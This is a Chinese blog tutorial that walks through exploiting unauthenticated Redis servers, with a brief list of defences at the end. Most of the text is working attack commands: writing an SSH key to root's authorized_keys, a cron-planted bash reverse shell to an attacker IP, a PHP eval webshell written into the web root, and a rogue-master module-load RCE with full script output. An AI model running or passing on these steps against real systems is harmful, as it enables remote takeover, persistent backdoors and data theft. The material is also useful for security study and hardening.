redis_未授权访问

发布于:2022-12-10 ⋅ 阅读:(1679) ⋅ 点赞:(2)

目录

前言

搭建redis

未授权访问

1.查看服务器信息  info

 2.上传ssh密钥登录

2.1创建公钥私钥,将公钥写入本地文件

2.2 将公钥发送到对方服务器

 2.3利用redis-cli写配置的方式将公钥写入ssh目录

2.4 利用私钥远程登录redis的22端口

3.定时任务写入反弹shell(此方法在ubuntu中因无法忽略乱码导致失败)

3.1在redis中写入定时任务

3.2在攻击机上监听888端口等待反弹shell

4.直接写入shell脚本

4.1 redis写入shell

4.2 访问网站下的1.php

5.主从getshell

5.1 主从介绍

5.2复现

总结

防御方式

1.关闭6379

2.设置密码登录

3.服务器以低权限运行redis服务

4.禁用高危命令

参考


前言

        redis是一个开源的存储系统,支持数据的持久化存储、支持key-value、list、set等数据结构存储,支持备份。

        但若redis存在未授权访问,就会导致攻击者可以无需认证就能访问redis内部资源,获取敏感文件,甚至执行flushall清空数据,给root账户写入ssh公钥直接远程登录目的服务器。

影响版本:2.x、3.x、4.x、5.x

搭建redis

参考Linux下安装Redis_浅末年华的博客-CSDN博客_linux安装redis

安装redis客户端redis-cli

apt install redis-cli

未授权访问

安装好redis客户端以后,直接连接远程服务器redis-cli -h http://.....

成功登录远程redis

1.查看服务器信息  info

 2.上传ssh密钥登录

2.1创建公钥私钥,将公钥写入本地文件

在攻击机上输入ssh-keygen  -t  rsa,会创建id_rsa私钥和id_rsa.pub公钥

(echo "\n\n";cat /root/.ssh/id_rsa_pub)>test.txt

使用\n避免和其他redis缓存数据混合

2.2 将公钥发送到对方服务器

首先将公钥发送到redis的缓存中

cat  test.txt | redis-cli -h xx.xx.xx.xx -x set hello

 2.3利用redis-cli写配置的方式将公钥写入ssh目录

config set dir /root/.ssh    # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys    # 设置保存文件名为authorized_keys
save    # 将数据保存在目标服务器硬盘上

2.4 利用私钥远程登录redis的22端口

ssh  -i  /root/.ssh/id_rsa  root@xx.xx.xx.xx,成功登录

3.定时任务写入反弹shell(此方法在ubuntu中因无法忽略乱码导致失败)

3.1在redis中写入定时任务

set x "\n* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/888 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

3.2在攻击机上监听888端口等待反弹shell

nc  -lvp 888

4.直接写入shell脚本

4.1 redis写入shell

set  x  "\n\n\n<?php @eval($_POST['a']);?>\n\n\n"     -------加入\n\n\n防止乱码影响shell

config set  dir  /var/www/

config  dbfilename  1.php

save

4.2 访问网站下的1.php


5.主从getshell

适用版本redis 4.x/5.x

5.1 主从介绍

以上都是传统redis未授权getshell方式,而目前大多数redis存在于docker中,因此并不会存在redis之外的如ssh、crontab等服务,因此不能用上述方式进行利用。这时候需要用到主从复制。

主从模式就是使用一个redis实例作为主机,其他实例作为备份机,主机只负责写,从机负责读,读写分离,这样可以减轻读写流量的压力。

可以通过slaveof来设置主从状态

同时redis4.x以后可以通过外部扩展调用编译恶意so文件执行任意命令,并且主从模式可以使用FULLRESYNC功能实现文件的复制,将恶意so文件送到从机,让从机执行系统命令。

5.2复现

首先使用恶意服务器充当主机,使用FULLRESYNC功能将so文件送给从机

GitHub - LoRexxar/redis-rogue-server: Redis 4.x & 5.x RCE

直接使用攻击脚本执行以上流程

ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ python3 redis-rogue-server_5.py --rhost 172.17.0.3 --rport 6379 --lhost 172.17.0.1 --lport 6381
TARGET 172.17.0.3:6379
SERVER 172.17.0.1:6381
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$10\r\n172.17.0.1\r\n$4\r\n6381\r\n'
[->] b'+OK\r\n'
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
[->] b'+OK\r\n'
[->] b'*1\r\n$4\r\nPING\r\n'
[<-] b'+PONG\r\n'
[->] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
[<-] b'+OK\r\n'
[->] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
[<-] b'+OK\r\n'
[->] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n17772cb6827fd13b0cbcbb0332a2310f6e23207d\r\n$1\r\n1\r\n'
[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
[->] b'+OK\r\n'
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
[->] b'+OK\r\n'

登录从机直接执行系统命令

ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ redis-cli -h 172.17.0.3
172.17.0.3:6379> system.exec "id"
"\x89uid=999(redis) gid=999(redis) groups=999(redis)\n"
172.17.0.3:6379> system.exec "whoami"
"\bredis\n"

总结

        redis未授权访问可以导致攻击者直接登录redis服务,从而可以修改特定的shell和ssh文件,进一步结合其他攻击方式进行攻击。

防御方式

1.关闭6379

关闭对外端口防止攻击者利用

2.设置密码登录

不允许未授权空密码的方式直接登录redis,从而更改敏感文件信息。

3.服务器以低权限运行redis服务

4.禁用高危命令

    修改 redis.conf 文件,添加
    rename-command FLUSHALL ""
    rename-command CONFIG ""
    rename-command EVAL ""
    来禁用远程修改 DB 文件地址

参考

Redis未授权访问利用|验证 - 请叫我阿毛 - 博客园 (cnblogs.com)

redis未授权访问漏洞完整复现与踩坑_Shanfenglan's blog-CSDN博客

本文含有隐藏内容,请 开通VIP 后查看